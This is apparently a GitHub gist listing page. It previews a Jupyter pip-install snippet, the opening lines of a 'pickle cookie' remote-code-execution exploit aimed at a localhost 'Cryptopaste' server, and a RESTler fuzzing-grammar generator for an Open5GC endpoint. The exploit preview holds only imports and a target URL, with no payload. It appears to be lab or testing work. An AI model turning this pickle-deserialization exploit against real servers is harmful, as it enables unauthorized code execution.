Skip to content

Instantly share code, notes, and snippets.

@c7h
c7h / ipynb
Created December 9, 2019 10:39
Install a pip package in jupyter (the right way)
# Install a pip package in the current Jupyter kernel
import sys
!{sys.executable} -m pip install plotly
@c7h
c7h / rce.py
Created July 9, 2020 14:34
RCE Exploit Pickle Cookie
"""
Cookie RCE for Cryptopaste server
"""
import requests
import os
import pickle
import base64
target = "http://localhost:1337/"
@c7h
c7h / generate_custom_grammar.py
Created June 17, 2022 18:29
RESTler generate combinations of fuzzing grammar for the NFDiscovery Endpoint.
"""
Generate custom grammar to fuzz Open5GC NFDiscovery
endpoint with a maximum of 13 parameters a a time
"""
import sys
imports = r"""
from __future__ import print_function
import json
from engine import primitives